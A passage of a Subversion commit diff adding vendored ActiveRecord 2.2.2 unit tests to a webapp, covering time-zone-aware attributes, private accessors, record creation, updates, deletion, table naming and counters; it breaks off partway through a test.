+      assert_equal Time.utc(2007, 12, 31, 16), record.written_on.time # and represents time values adjusted accordingly
+    end
+  end
+
+  def test_setting_time_zone_aware_attribute_to_utc
+    in_time_zone "Pacific Time (US & Canada)" do
+      utc_time = Time.utc(2008, 1, 1)
+      record   = @target.new
+      record.written_on = utc_time
+      assert_equal utc_time, record.written_on
+      assert_equal ActiveSupport::TimeZone["Pacific Time (US & Canada)"], record.written_on.time_zone
+      assert_equal Time.utc(2007, 12, 31, 16), record.written_on.time
+    end
+  end
+
+  def test_setting_time_zone_aware_attribute_in_other_time_zone
+    utc_time = Time.utc(2008, 1, 1)
+    cst_time = utc_time.in_time_zone("Central Time (US & Canada)")
+    in_time_zone "Pacific Time (US & Canada)" do
+      record   = @target.new
+      record.written_on = cst_time
+      assert_equal utc_time, record.written_on
+      assert_equal ActiveSupport::TimeZone["Pacific Time (US & Canada)"], record.written_on.time_zone
+      assert_equal Time.utc(2007, 12, 31, 16), record.written_on.time
+    end
+  end
+
+  def test_setting_time_zone_aware_attribute_with_string
+    utc_time = Time.utc(2008, 1, 1)
+    (-11..13).each do |timezone_offset|
+      time_string = utc_time.in_time_zone(timezone_offset).to_s
+      in_time_zone "Pacific Time (US & Canada)" do
+        record   = @target.new
+        record.written_on = time_string
+        assert_equal Time.zone.parse(time_string), record.written_on
+        assert_equal ActiveSupport::TimeZone["Pacific Time (US & Canada)"], record.written_on.time_zone
+        assert_equal Time.utc(2007, 12, 31, 16), record.written_on.time
+      end
+    end
+  end
+
+  def test_setting_time_zone_aware_attribute_to_blank_string_returns_nil
+    in_time_zone "Pacific Time (US & Canada)" do
+      record   = @target.new
+      record.written_on = ' '
+      assert_nil record.written_on
+    end
+  end
+
+  def test_setting_time_zone_aware_attribute_interprets_time_zone_unaware_string_in_time_zone
+    time_string = 'Tue Jan 01 00:00:00 2008'
+    (-11..13).each do |timezone_offset|
+      in_time_zone timezone_offset do
+        record   = @target.new
+        record.written_on = time_string
+        assert_equal Time.zone.parse(time_string), record.written_on
+        assert_equal ActiveSupport::TimeZone[timezone_offset], record.written_on.time_zone
+        assert_equal Time.utc(2008, 1, 1), record.written_on.time
+      end
+    end
+  end
+
+  def test_setting_time_zone_aware_attribute_in_current_time_zone
+    utc_time = Time.utc(2008, 1, 1)
+    in_time_zone "Pacific Time (US & Canada)" do
+      record   = @target.new
+      record.written_on = utc_time.in_time_zone
+      assert_equal utc_time, record.written_on
+      assert_equal ActiveSupport::TimeZone["Pacific Time (US & Canada)"], record.written_on.time_zone
+      assert_equal Time.utc(2007, 12, 31, 16), record.written_on.time
+    end
+  end
+
+  def test_setting_time_zone_conversion_for_attributes_should_write_value_on_class_variable
+    Topic.skip_time_zone_conversion_for_attributes = [:field_a]
+    Minimalistic.skip_time_zone_conversion_for_attributes = [:field_b]
+    
+    assert_equal [:field_a], Topic.skip_time_zone_conversion_for_attributes 
+    assert_equal [:field_b], Minimalistic.skip_time_zone_conversion_for_attributes 
+  end
+
+  def test_read_attributes_respect_access_control
+    privatize("title")
+
+    topic = @target.new(:title => "The pros and cons of programming naked.")
+    assert !topic.respond_to?(:title)
+    exception = assert_raise(NoMethodError) { topic.title }
+    assert_equal "Attempt to call private method", exception.message
+    assert_equal "I'm private", topic.send(:title)
+  end
+
+  def test_write_attributes_respect_access_control
+    privatize("title=(value)")
+
+    topic = @target.new
+    assert !topic.respond_to?(:title=)
+    exception = assert_raise(NoMethodError) { topic.title = "Pants"}
+    assert_equal "Attempt to call private method", exception.message
+    topic.send(:title=, "Very large pants")
+  end
+
+  def test_question_attributes_respect_access_control
+    privatize("title?")
+
+    topic = @target.new(:title => "Isaac Newton's pants")
+    assert !topic.respond_to?(:title?)
+    exception = assert_raise(NoMethodError) { topic.title? }
+    assert_equal "Attempt to call private method", exception.message
+    assert topic.send(:title?)
+  end
+
+  def test_bulk_update_respects_access_control
+    privatize("title=(value)")
+
+    assert_raise(ActiveRecord::UnknownAttributeError) { topic = @target.new(:title => "Rants about pants") }
+    assert_raise(ActiveRecord::UnknownAttributeError) { @target.new.attributes = { :title => "Ants in pants" } }
+  end
+
+  private
+  def time_related_columns_on_topic
+    Topic.columns.select{|c| [:time, :date, :datetime, :timestamp].include?(c.type)}.map(&:name)
+  end
+
+  def in_time_zone(zone)
+    old_zone  = Time.zone
+    old_tz    = ActiveRecord::Base.time_zone_aware_attributes
+
+    Time.zone = zone ? ActiveSupport::TimeZone[zone] : nil
+    ActiveRecord::Base.time_zone_aware_attributes = !zone.nil?
+    yield
+  ensure
+    Time.zone = old_zone
+    ActiveRecord::Base.time_zone_aware_attributes = old_tz
+  end
+
+  def privatize(method_signature)
+    @target.class_eval <<-private_method
+      private
+      def #{method_signature}
+        "I'm private"
+      end
+    private_method
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/base_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/base_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/base_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2087 @@
+require "cases/helper"
+require 'models/author'
+require 'models/topic'
+require 'models/reply'
+require 'models/category'
+require 'models/company'
+require 'models/customer'
+require 'models/developer'
+require 'models/project'
+require 'models/default'
+require 'models/auto_id'
+require 'models/column_name'
+require 'models/subscriber'
+require 'models/keyboard'
+require 'models/post'
+require 'models/comment'
+require 'models/minimalistic'
+require 'models/warehouse_thing'
+require 'rexml/document'
+
+class Category < ActiveRecord::Base; end
+class Categorization < ActiveRecord::Base; end
+class Smarts < ActiveRecord::Base; end
+class CreditCard < ActiveRecord::Base
+  class PinNumber < ActiveRecord::Base
+    class CvvCode < ActiveRecord::Base; end
+    class SubCvvCode < CvvCode; end
+  end
+  class SubPinNumber < PinNumber; end
+  class Brand < Category; end
+end
+class MasterCreditCard < ActiveRecord::Base; end
+class Post < ActiveRecord::Base; end
+class Computer < ActiveRecord::Base; end
+class NonExistentTable < ActiveRecord::Base; end
+class TestOracleDefault < ActiveRecord::Base; end
+
+class LoosePerson < ActiveRecord::Base
+  self.table_name = 'people'
+  self.abstract_class = true
+  attr_protected :credit_rating, :administrator
+end
+
+class LooseDescendant < LoosePerson
+  attr_protected :phone_number
+end
+
+class LooseDescendantSecond< LoosePerson
+  attr_protected :phone_number
+  attr_protected :name
+end
+
+class TightPerson < ActiveRecord::Base
+  self.table_name = 'people'
+  attr_accessible :name, :address
+end
+
+class TightDescendant < TightPerson
+  attr_accessible :phone_number
+end
+
+class ReadonlyTitlePost < Post
+  attr_readonly :title
+end
+
+class Booleantest < ActiveRecord::Base; end
+
+class Task < ActiveRecord::Base
+  attr_protected :starting
+end
+
+class TopicWithProtectedContentAndAccessibleAuthorName < ActiveRecord::Base
+  self.table_name = 'topics'
+  attr_accessible :author_name
+  attr_protected  :content
+end
+
+class BasicsTest < ActiveRecord::TestCase
+  fixtures :topics, :companies, :developers, :projects, :computers, :accounts, :minimalistics, 'warehouse-things', :authors, :categorizations, :categories, :posts
+
+  def test_table_exists
+    assert !NonExistentTable.table_exists?
+    assert Topic.table_exists?
+  end
+
+  def test_set_attributes
+    topic = Topic.find(1)
+    topic.attributes = { "title" => "Budget", "author_name" => "Jason" }
+    topic.save
+    assert_equal("Budget", topic.title)
+    assert_equal("Jason", topic.author_name)
+    assert_equal(topics(:first).author_email_address, Topic.find(1).author_email_address)
+  end
+
+  def test_integers_as_nil
+    test = AutoId.create('value' => '')
+    assert_nil AutoId.find(test.id).value
+  end
+
+  def test_set_attributes_with_block
+    topic = Topic.new do |t|
+      t.title       = "Budget"
+      t.author_name = "Jason"
+    end
+
+    assert_equal("Budget", topic.title)
+    assert_equal("Jason", topic.author_name)
+  end
+
+  def test_respond_to?
+    topic = Topic.find(1)
+    assert topic.respond_to?("title")
+    assert topic.respond_to?("title?")
+    assert topic.respond_to?("title=")
+    assert topic.respond_to?(:title)
+    assert topic.respond_to?(:title?)
+    assert topic.respond_to?(:title=)
+    assert topic.respond_to?("author_name")
+    assert topic.respond_to?("attribute_names")
+    assert !topic.respond_to?("nothingness")
+    assert !topic.respond_to?(:nothingness)
+  end
+
+  def test_array_content
+    topic = Topic.new
+    topic.content = %w( one two three )
+    topic.save
+
+    assert_equal(%w( one two three ), Topic.find(topic.id).content)
+  end
+
+  def test_read_attributes_before_type_cast
+    category = Category.new({:name=>"Test categoty", :type => nil})
+    category_attrs = {"name"=>"Test categoty", "type" => nil, "categorizations_count" => nil}
+    assert_equal category_attrs , category.attributes_before_type_cast
+  end
+
+  if current_adapter?(:MysqlAdapter)
+    def test_read_attributes_before_type_cast_on_boolean
+      bool = Booleantest.create({ "value" => false })
+      assert_equal "0", bool.reload.attributes_before_type_cast["value"]
+    end
+  end
+
+  def test_read_attributes_before_type_cast_on_datetime
+    developer = Developer.find(:first)
+    assert_equal developer.created_at.to_s(:db) , developer.attributes_before_type_cast["created_at"]
+  end
+
+  def test_hash_content
+    topic = Topic.new
+    topic.content = { "one" => 1, "two" => 2 }
+    topic.save
+
+    assert_equal 2, Topic.find(topic.id).content["two"]
+
+    topic.content_will_change!
+    topic.content["three"] = 3
+    topic.save
+
+    assert_equal 3, Topic.find(topic.id).content["three"]
+  end
+
+  def test_update_array_content
+    topic = Topic.new
+    topic.content = %w( one two three )
+
+    topic.content.push "four"
+    assert_equal(%w( one two three four ), topic.content)
+
+    topic.save
+
+    topic = Topic.find(topic.id)
+    topic.content << "five"
+    assert_equal(%w( one two three four five ), topic.content)
+  end
+
+  def test_case_sensitive_attributes_hash
+    # DB2 is not case-sensitive
+    return true if current_adapter?(:DB2Adapter)
+
+    assert_equal @loaded_fixtures['computers']['workstation'].to_hash, Computer.find(:first).attributes
+  end
+
+  def test_create
+    topic = Topic.new
+    topic.title = "New Topic"
+    topic.save
+    topic_reloaded = Topic.find(topic.id)
+    assert_equal("New Topic", topic_reloaded.title)
+  end
+
+  def test_save!
+    topic = Topic.new(:title => "New Topic")
+    assert topic.save!
+
+    reply = Reply.new
+    assert_raise(ActiveRecord::RecordInvalid) { reply.save! }
+  end
+
+  def test_save_null_string_attributes
+    topic = Topic.find(1)
+    topic.attributes = { "title" => "null", "author_name" => "null" }
+    topic.save!
+    topic.reload
+    assert_equal("null", topic.title)
+    assert_equal("null", topic.author_name)
+  end
+
+  def test_save_nil_string_attributes
+    topic = Topic.find(1)
+    topic.title = nil
+    topic.save!
+    topic.reload
+    assert_nil topic.title
+  end
+
+  def test_save_for_record_with_only_primary_key
+    minimalistic = Minimalistic.new
+    assert_nothing_raised { minimalistic.save }
+  end
+
+  def test_save_for_record_with_only_primary_key_that_is_provided
+    assert_nothing_raised { Minimalistic.create!(:id => 2) }
+  end
+
+  def test_hashes_not_mangled
+    new_topic = { :title => "New Topic" }
+    new_topic_values = { :title => "AnotherTopic" }
+
+    topic = Topic.new(new_topic)
+    assert_equal new_topic[:title], topic.title
+
+    topic.attributes= new_topic_values
+    assert_equal new_topic_values[:title], topic.title
+  end
+
+  def test_create_many
+    topics = Topic.create([ { "title" => "first" }, { "title" => "second" }])
+    assert_equal 2, topics.size
+    assert_equal "first", topics.first.title
+  end
+
+  def test_create_columns_not_equal_attributes
+    topic = Topic.new
+    topic.title = 'Another New Topic'
+    topic.send :write_attribute, 'does_not_exist', 'test'
+    assert_nothing_raised { topic.save }
+  end
+
+  def test_create_through_factory
+    topic = Topic.create("title" => "New Topic")
+    topicReloaded = Topic.find(topic.id)
+    assert_equal(topic, topicReloaded)
+  end
+
+  def test_create_through_factory_with_block
+    topic = Topic.create("title" => "New Topic") do |t|
+      t.author_name = "David"
+    end
+    topicReloaded = Topic.find(topic.id)
+    assert_equal("New Topic", topic.title)
+    assert_equal("David", topic.author_name)
+  end
+
+  def test_create_many_through_factory_with_block
+    topics = Topic.create([ { "title" => "first" }, { "title" => "second" }]) do |t|
+      t.author_name = "David"
+    end
+    assert_equal 2, topics.size
+    topic1, topic2 = Topic.find(topics[0].id), Topic.find(topics[1].id)
+    assert_equal "first", topic1.title
+    assert_equal "David", topic1.author_name
+    assert_equal "second", topic2.title
+    assert_equal "David", topic2.author_name
+  end
+
+  def test_update
+    topic = Topic.new
+    topic.title = "Another New Topic"
+    topic.written_on = "2003-12-12 23:23:00"
+    topic.save
+    topicReloaded = Topic.find(topic.id)
+    assert_equal("Another New Topic", topicReloaded.title)
+
+    topicReloaded.title = "Updated topic"
+    topicReloaded.save
+
+    topicReloadedAgain = Topic.find(topic.id)
+
+    assert_equal("Updated topic", topicReloadedAgain.title)
+  end
+
+  def test_update_columns_not_equal_attributes
+    topic = Topic.new
+    topic.title = "Still another topic"
+    topic.save
+
+    topicReloaded = Topic.find(topic.id)
+    topicReloaded.title = "A New Topic"
+    topicReloaded.send :write_attribute, 'does_not_exist', 'test'
+    assert_nothing_raised { topicReloaded.save }
+  end
+
+  def test_update_for_record_with_only_primary_key
+    minimalistic = minimalistics(:first)
+    assert_nothing_raised { minimalistic.save }
+  end
+
+  def test_write_attribute
+    topic = Topic.new
+    topic.send(:write_attribute, :title, "Still another topic")
+    assert_equal "Still another topic", topic.title
+
+    topic.send(:write_attribute, "title", "Still another topic: part 2")
+    assert_equal "Still another topic: part 2", topic.title
+  end
+
+  def test_read_attribute
+    topic = Topic.new
+    topic.title = "Don't change the topic"
+    assert_equal "Don't change the topic", topic.send(:read_attribute, "title")
+    assert_equal "Don't change the topic", topic["title"]
+
+    assert_equal "Don't change the topic", topic.send(:read_attribute, :title)
+    assert_equal "Don't change the topic", topic[:title]
+  end
+
+  def test_read_attribute_when_false
+    topic = topics(:first)
+    topic.approved = false
+    assert !topic.approved?, "approved should be false"
+    topic.approved = "false"
+    assert !topic.approved?, "approved should be false"
+  end
+
+  def test_read_attribute_when_true
+    topic = topics(:first)
+    topic.approved = true
+    assert topic.approved?, "approved should be true"
+    topic.approved = "true"
+    assert topic.approved?, "approved should be true"
+  end
+
+  def test_read_write_boolean_attribute
+    topic = Topic.new
+    # puts ""
+    # puts "New Topic"
+    # puts topic.inspect
+    topic.approved = "false"
+    # puts "Expecting false"
+    # puts topic.inspect
+    assert !topic.approved?, "approved should be false"
+    topic.approved = "false"
+    # puts "Expecting false"
+    # puts topic.inspect
+    assert !topic.approved?, "approved should be false"
+    topic.approved = "true"
+    # puts "Expecting true"
+    # puts topic.inspect
+    assert topic.approved?, "approved should be true"
+    topic.approved = "true"
+    # puts "Expecting true"
+    # puts topic.inspect
+    assert topic.approved?, "approved should be true"
+    # puts ""
+  end
+
+  def test_query_attribute_string
+    [nil, "", " "].each do |value|
+      assert_equal false, Topic.new(:author_name => value).author_name?
+    end
+
+    assert_equal true, Topic.new(:author_name => "Name").author_name?
+  end
+
+  def test_query_attribute_number
+    [nil, 0, "0"].each do |value|
+      assert_equal false, Developer.new(:salary => value).salary?
+    end
+
+    assert_equal true, Developer.new(:salary => 1).salary?
+    assert_equal true, Developer.new(:salary => "1").salary?
+  end
+
+  def test_query_attribute_boolean
+    [nil, "", false, "false", "f", 0].each do |value|
+      assert_equal false, Topic.new(:approved => value).approved?
+    end
+
+    [true, "true", "1", 1].each do |value|
+      assert_equal true, Topic.new(:approved => value).approved?
+    end
+  end
+
+  def test_query_attribute_with_custom_fields
+    object = Company.find_by_sql(<<-SQL).first
+      SELECT c1.*, c2.ruby_type as string_value, c2.rating as int_value
+        FROM companies c1, companies c2
+       WHERE c1.firm_id = c2.id
+         AND c1.id = 2
+    SQL
+
+    assert_equal "Firm", object.string_value
+    assert object.string_value?
+
+    object.string_value = "  "
+    assert !object.string_value?
+
+    assert_equal 1, object.int_value.to_i
+    assert object.int_value?
+
+    object.int_value = "0"
+    assert !object.int_value?
+  end
+
+
+  def test_reader_for_invalid_column_names
+    Topic.send(:define_read_method, "mumub-jumbo".to_sym, "mumub-jumbo", nil)
+    assert !Topic.generated_methods.include?("mumub-jumbo")
+  end
+
+  def test_non_attribute_access_and_assignment
+    topic = Topic.new
+    assert !topic.respond_to?("mumbo")
+    assert_raises(NoMethodError) { topic.mumbo }
+    assert_raises(NoMethodError) { topic.mumbo = 5 }
+  end
+
+  def test_preserving_date_objects
+    if current_adapter?(:SybaseAdapter, :OracleAdapter)
+      # Sybase ctlib does not (yet?) support the date type; use datetime instead.
+      # Oracle treats all dates/times as Time.
+      assert_kind_of(
+        Time, Topic.find(1).last_read,
+        "The last_read attribute should be of the Time class"
+      )
+    else
+      assert_kind_of(
+        Date, Topic.find(1).last_read,
+        "The last_read attribute should be of the Date class"
+      )
+    end
+  end
+
+  def test_preserving_time_objects
+    assert_kind_of(
+      Time, Topic.find(1).bonus_time,
+      "The bonus_time attribute should be of the Time class"
+    )
+
+    assert_kind_of(
+      Time, Topic.find(1).written_on,
+      "The written_on attribute should be of the Time class"
+    )
+
+    # For adapters which support microsecond resolution.
+    if current_adapter?(:PostgreSQLAdapter)
+      assert_equal 11, Topic.find(1).written_on.sec
+      assert_equal 223300, Topic.find(1).written_on.usec
+      assert_equal 9900, Topic.find(2).written_on.usec
+    end
+  end
+
+  def test_custom_mutator
+    topic = Topic.find(1)
+    # This mutator is protected in the class definition
+    topic.send(:approved=, true)
+    assert topic.instance_variable_get("@custom_approved")
+  end
+
+  def test_delete
+    topic = Topic.find(1)
+    assert_equal topic, topic.delete, 'topic.delete did not return self'
+    assert topic.frozen?, 'topic not frozen after delete'
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(topic.id) }
+  end
+
+  def test_delete_doesnt_run_callbacks
+    Topic.find(1).delete
+    assert_not_nil Topic.find(2)
+  end
+
+  def test_destroy
+    topic = Topic.find(1)
+    assert_equal topic, topic.destroy, 'topic.destroy did not return self'
+    assert topic.frozen?, 'topic not frozen after destroy'
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(topic.id) }
+  end
+
+  def test_record_not_found_exception
+    assert_raises(ActiveRecord::RecordNotFound) { topicReloaded = Topic.find(99999) }
+  end
+
+  def test_initialize_with_attributes
+    topic = Topic.new({
+      "title" => "initialized from attributes", "written_on" => "2003-12-12 23:23"
+    })
+
+    assert_equal("initialized from attributes", topic.title)
+  end
+
+  def test_initialize_with_invalid_attribute
+    begin
+      topic = Topic.new({ "title" => "test",
+        "last_read(1i)" => "2005", "last_read(2i)" => "2", "last_read(3i)" => "31"})
+    rescue ActiveRecord::MultiparameterAssignmentErrors => ex
+      assert_equal(1, ex.errors.size)
+      assert_equal("last_read", ex.errors[0].attribute)
+    end
+  end
+
+  def test_load
+    topics = Topic.find(:all, :order => 'id')
+    assert_equal(4, topics.size)
+    assert_equal(topics(:first).title, topics.first.title)
+  end
+
+  def test_load_with_condition
+    topics = Topic.find(:all, :conditions => "author_name = 'Mary'")
+
+    assert_equal(1, topics.size)
+    assert_equal(topics(:second).title, topics.first.title)
+  end
+
+  def test_table_name_guesses
+    classes = [Category, Smarts, CreditCard, CreditCard::PinNumber, CreditCard::PinNumber::CvvCode, CreditCard::SubPinNumber, CreditCard::Brand, MasterCreditCard]
+
+    assert_equal "topics", Topic.table_name
+
+    assert_equal "categories", Category.table_name
+    assert_equal "smarts", Smarts.table_name
+    assert_equal "credit_cards", CreditCard.table_name
+    assert_equal "credit_card_pin_numbers", CreditCard::PinNumber.table_name
+    assert_equal "credit_card_pin_number_cvv_codes", CreditCard::PinNumber::CvvCode.table_name
+    assert_equal "credit_card_pin_numbers", CreditCard::SubPinNumber.table_name
+    assert_equal "categories", CreditCard::Brand.table_name
+    assert_equal "master_credit_cards", MasterCreditCard.table_name
+
+    ActiveRecord::Base.pluralize_table_names = false
+    classes.each(&:reset_table_name)
+
+    assert_equal "category", Category.table_name
+    assert_equal "smarts", Smarts.table_name
+    assert_equal "credit_card", CreditCard.table_name
+    assert_equal "credit_card_pin_number", CreditCard::PinNumber.table_name
+    assert_equal "credit_card_pin_number_cvv_code", CreditCard::PinNumber::CvvCode.table_name
+    assert_equal "credit_card_pin_number", CreditCard::SubPinNumber.table_name
+    assert_equal "category", CreditCard::Brand.table_name
+    assert_equal "master_credit_card", MasterCreditCard.table_name
+
+    ActiveRecord::Base.pluralize_table_names = true
+    classes.each(&:reset_table_name)
+
+    ActiveRecord::Base.table_name_prefix = "test_"
+    Category.reset_table_name
+    assert_equal "test_categories", Category.table_name
+    ActiveRecord::Base.table_name_suffix = "_test"
+    Category.reset_table_name
+    assert_equal "test_categories_test", Category.table_name
+    ActiveRecord::Base.table_name_prefix = ""
+    Category.reset_table_name
+    assert_equal "categories_test", Category.table_name
+    ActiveRecord::Base.table_name_suffix = ""
+    Category.reset_table_name
+    assert_equal "categories", Category.table_name
+
+    ActiveRecord::Base.pluralize_table_names = false
+    ActiveRecord::Base.table_name_prefix = "test_"
+    Category.reset_table_name
+    assert_equal "test_category", Category.table_name
+    ActiveRecord::Base.table_name_suffix = "_test"
+    Category.reset_table_name
+    assert_equal "test_category_test", Category.table_name
+    ActiveRecord::Base.table_name_prefix = ""
+    Category.reset_table_name
+    assert_equal "category_test", Category.table_name
+    ActiveRecord::Base.table_name_suffix = ""
+    Category.reset_table_name
+    assert_equal "category", Category.table_name
+
+    ActiveRecord::Base.pluralize_table_names = true
+    classes.each(&:reset_table_name)
+  end
+
+  def test_destroy_all
+    original_count = Topic.count
+    topics_by_mary = Topic.count(:conditions => mary = "author_name = 'Mary'")
+
+    Topic.destroy_all mary
+    assert_equal original_count - topics_by_mary, Topic.count
+  end
+
+  def test_destroy_many
+    assert_equal 3, Client.count
+    Client.destroy([2, 3])
+    assert_equal 1, Client.count
+  end
+
+  def test_delete_many
+    original_count = Topic.count
+    Topic.delete(deleting = [1, 2])
+    assert_equal original_count - deleting.size, Topic.count
+  end
+
+  def test_boolean_attributes
+    assert ! Topic.find(1).approved?
+    assert Topic.find(2).approved?
+  end
+
+  def test_increment_counter
+    Topic.increment_counter("replies_count", 1)
+    assert_equal 2, Topic.find(1).replies_count
+
+    Topic.increment_counter("replies_count", 1)
+    assert_equal 3, Topic.find(1).replies_count
+  end
+
+  def test_decrement_counter
+    Topic.decrement_counter("replies_count", 2)
+    assert_equal -1, Topic.find(2).replies_count
+
+    Topic.decrement_counter("replies_count", 2)
+    assert_equal -2, Topic.find(2).replies_count
+  end
+
+  def test_update_counter
+    category = categories(:general)
+    assert_nil category.categorizations_count
+    assert_equal 2, category.categorizations.count
+
+    Category.update_counters(category.id, "categorizations_count" => category.categorizations.count)
+    category.reload
+    assert_not_nil category.categorizations_count
+    assert_equal 2, category.categorizations_count
+
+    Category.update_counters(category.id, "categorizations_count" => category.categorizations.count)
+    category.reload
+    assert_not_nil category.categorizations_count
+    assert_equal 4, category.categorizations_count
+  end
+
+  def test_update_all
+    assert_equal Topic.count, Topic.update_all("content = 'bulk updated!'")
+    assert_equal "bulk updated!", Topic.find(1).content
+    assert_equal "bulk updated!", Topic.find(2).content
+
+    assert_equal Topic.count, Topic.update_all(['content = ?', 'bulk updated again!'])
+    assert_equal "bulk updated again!", Topic.find(1).content
+    assert_equal "bulk updated again!", Topic.find(2).content
+
+    assert_equal Topic.count, Topic.update_all(['content = ?', nil])
+    assert_nil Topic.find(1).content
+  end
+
+  def test_update_all_with_hash
+    assert_not_nil Topic.find(1).last_read
+    assert_equal Topic.count, Topic.update_all(:content => 'bulk updated with hash!', :last_read => nil)
+    assert_equal "bulk updated with hash!", Topic.find(1).content
+    assert_equal "bulk updated with hash!", Topic.find(2).content
+    assert_nil Topic.find(1).last_read
+    assert_nil Topic.find(2).last_read
+  end
+
+  def test_update_all_with_non_standard_table_name
+    assert_equal 1, WarehouseThing.update_all(['value = ?', 0], ['id = ?', 1])
+    assert_equal 0, WarehouseThing.find(1).value
+  end
+
+  if current_adapter?(:MysqlAdapter)
+    def test_update_all_with_order_and_limit
+      assert_equal 1, Topic.update_all("content = 'bulk updated!'", nil, :limit => 1, :order => 'id DESC')
+    end
+  end
+
+  def test_update_all_ignores_order_without_limit_from_association
+    author = authors(:david)
+    assert_nothing_raised do
+      assert_equal author.posts_with_comments_and_categories.length, author.posts_with_comments_and_categories.update_all([ "body = ?", "bulk update!" ])
+    end
+  end
+
+  def test_update_all_with_order_and_limit_updates_subset_only
+    author = authors(:david)
+    assert_nothing_raised do
+      assert_equal 1, author.posts_sorted_by_id_limited.size
+      assert_equal 2, author.posts_sorted_by_id_limited.find(:all, :limit => 2).size
+      assert_equal 1, author.posts_sorted_by_id_limited.update_all([ "body = ?", "bulk update!" ])
+      assert_equal "bulk update!", posts(:welcome).body
+      assert_not_equal "bulk update!", posts(:thinking).body
+    end
+  end
+
+  def test_update_many
+    topic_data = { 1 => { "content" => "1 updated" }, 2 => { "content" => "2 updated" } }
+    updated = Topic.update(topic_data.keys, topic_data.values)
+
+    assert_equal 2, updated.size
+    assert_equal "1 updated", Topic.find(1).content
+    assert_equal "2 updated", Topic.find(2).content
+  end
+
+  def test_delete_all
+    assert Topic.count > 0
+
+    assert_equal Topic.count, Topic.delete_all
+  end
+
+  def test_update_by_condition
+    Topic.update_all "content = 'bulk updated!'", ["approved = ?", true]
+    assert_equal "Have a nice day", Topic.find(1).content
+    assert_equal "bulk updated!", Topic.find(2).content
+  end
+
+  def test_attribute_present
+    t = Topic.new
+    t.title = "hello there!"
+    t.written_on = Time.now
+    assert t.attribute_present?("title")
+    assert t.attribute_present?("written_on")
+    assert !t.attribute_present?("content")
+  end
+
+  def test_attribute_keys_on_new_instance
+    t = Topic.new
+    assert_equal nil, t.title, "The topics table has a title column, so it should be nil"
+    assert_raise(NoMethodError) { t.title2 }
+  end
+
+  def test_class_name
+    assert_equal "Firm", ActiveRecord::Base.class_name("firms")
+    assert_equal "Category", ActiveRecord::Base.class_name("categories")
+    assert_equal "AccountHolder", ActiveRecord::Base.class_name("account_holder")
+
+    ActiveRecord::Base.pluralize_table_names = false
+    assert_equal "Firms", ActiveRecord::Base.class_name( "firms" )
+    ActiveRecord::Base.pluralize_table_names = true
+
+    ActiveRecord::Base.table_name_prefix = "test_"
+    assert_equal "Firm", ActiveRecord::Base.class_name( "test_firms" )
+    ActiveRecord::Base.table_name_suffix = "_tests"
+    assert_equal "Firm", ActiveRecord::Base.class_name( "test_firms_tests" )
+    ActiveRecord::Base.table_name_prefix = ""
+    assert_equal "Firm", ActiveRecord::Base.class_name( "firms_tests" )
+    ActiveRecord::Base.table_name_suffix = ""
+    assert_equal "Firm", ActiveRecord::Base.class_name( "firms" )
+  end
+
+  def test_null_fields
+    assert_nil Topic.find(1).parent_id
+    assert_nil Topic.create("title" => "Hey you").parent_id
+  end
+
+  def test_default_values
+    topic = Topic.new
+    assert topic.approved?
+    assert_nil topic.written_on
+    assert_nil topic.bonus_time
+    assert_nil topic.last_read
+
+    topic.save
+
+    topic = Topic.find(topic.id)
+    assert topic.approved?
+    assert_nil topic.last_read
+
+    # Oracle has some funky default handling, so it requires a bit of
+    # extra testing. See ticket #2788.
+    if current_adapter?(:OracleAdapter)
+      test = TestOracleDefault.new
+      assert_equal "X", test.test_char
+      assert_equal "hello", test.test_string
+      assert_equal 3, test.test_int
+    end
+  end
+
+  # Oracle, and Sybase do not have a TIME datatype.
+  unless current_adapter?(:OracleAdapter, :SybaseAdapter)
+    def test_utc_as_time_zone
+      Topic.default_timezone = :utc
+      attributes = { "bonus_time" => "5:42:00AM" }
+      topic = Topic.find(1)
+      topic.attributes = attributes
+      assert_equal Time.utc(2000, 1, 1, 5, 42, 0), topic.bonus_time
+      Topic.default_timezone = :local
+    end
+
+    def test_utc_as_time_zone_and_new
+      Topic.default_timezone = :utc
+      attributes = { "bonus_time(1i)"=>"2000",
+                     "bonus_time(2i)"=>"1",
+                     "bonus_time(3i)"=>"1",
+                     "bonus_time(4i)"=>"10",
+                     "bonus_time(5i)"=>"35",
+                     "bonus_time(6i)"=>"50" }
+      topic = Topic.new(attributes)
+      assert_equal Time.utc(2000, 1, 1, 10, 35, 50), topic.bonus_time
+      Topic.default_timezone = :local
+    end
+  end
+
+  def test_default_values_on_empty_strings
+    topic = Topic.new
+    topic.approved  = nil
+    topic.last_read = nil
+
+    topic.save
+
+    topic = Topic.find(topic.id)
+    assert_nil topic.last_read
+
+    # Sybase adapter does not allow nulls in boolean columns
+    if current_adapter?(:SybaseAdapter)
+      assert topic.approved == false
+    else
+      assert_nil topic.approved
+    end
+  end
+
+  def test_equality
+    assert_equal Topic.find(1), Topic.find(2).topic
+  end
+
+  def test_equality_of_new_records
+    assert_not_equal Topic.new, Topic.new
+  end
+
+  def test_hashing
+    assert_equal [ Topic.find(1) ], [ Topic.find(2).topic ] & [ Topic.find(1) ]
+  end
+
+  def test_delete_new_record
+    client = Client.new
+    client.delete
+    assert client.frozen?
+  end
+
+  def test_delete_record_with_associations
+    client = Client.find(3)
+    client.delete
+    assert client.frozen?
+    assert_kind_of Firm, client.firm
+    assert_raises(ActiveSupport::FrozenObjectError) { client.name = "something else" }
+  end
+
+  def test_destroy_new_record
+    client = Client.new
+    client.destroy
+    assert client.frozen?
+  end
+
+  def test_destroy_record_with_associations
+    client = Client.find(3)
+    client.destroy
+    assert client.frozen?
+    assert_kind_of Firm, client.firm
+    assert_raises(ActiveSupport::FrozenObjectError) { client.name = "something else" }
+  end
+
+  def test_update_attribute
+    assert !Topic.find(1).approved?
+    Topic.find(1).update_attribute("approved", true)
+    assert Topic.find(1).approved?
+
+    Topic.find(1).update_attribute(:approved, false)
+    assert !Topic.find(1).approved?
+  end
+
+  def test_update_attributes
+    topic = Topic.find(1)
+    assert !topic.approved?
+    assert_equal "The First Topic", topic.title
+
+    topic.update_attributes("approved" => true, "title" => "The First Topic Updated")
+    topic.reload
+    assert topic.approved?
